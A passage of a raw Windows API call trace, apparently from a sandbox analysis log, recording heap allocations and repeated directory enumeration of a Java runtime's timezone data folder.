NtClose (Handle=0x164) returned 0x0 [0088.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.893] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AST4", cAlternateFileName="")) returned 1 [0088.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0f28 [0088.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee248 [0088.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.897] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AST4ADT", cAlternateFileName="")) returned 1 [0088.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0f48 [0088.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee2d0 [0088.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.899] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CST6", cAlternateFileName="")) returned 1 [0088.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0f68 [0088.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee358 [0088.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.900] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CST6CDT", cAlternateFileName="")) returned 1 [0088.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0f88 [0088.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee3e0 [0088.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.902] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST5", cAlternateFileName="")) returned 1 [0088.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0fa8 [0088.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee468 [0088.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.904] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST5EDT", cAlternateFileName="")) returned 1 [0088.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0fc8 [0088.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee4f0 [0088.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8cc0) returned 0x132a698 [0088.905] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HST10", cAlternateFileName="")) returned 1 [0088.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0fe8 [0088.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee578 [0088.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST7", cAlternateFileName="")) returned 1 [0088.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1008 [0088.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee600 [0088.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST7MDT", cAlternateFileName="")) returned 1 [0088.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1028 [0088.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee688 [0088.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PST8", cAlternateFileName="")) returned 1 [0088.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1048 [0088.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee710 [0088.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.912] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PST8PDT", cAlternateFileName="")) returned 1 [0088.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1068 [0088.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee798 [0088.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.913] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YST9", cAlternateFileName="")) returned 1 [0088.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1088 [0088.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee820 [0088.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.915] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YST9YDT", cAlternateFileName="")) returned 1 [0088.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c10a8 [0088.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee8a8 [0088.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YST9YDT", cAlternateFileName="")) returned 0 [0088.917] GetLastError () returned 0x12 [0088.917] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.917] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AST4", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AST4ADT", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CST6", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CST6CDT", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST5", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST5EDT", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HST10", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST7", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST7MDT", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PST8", cAlternateFileName="")) returned 1 [0088.917] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PST8PDT", cAlternateFileName="")) returned 1 [0088.918] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, 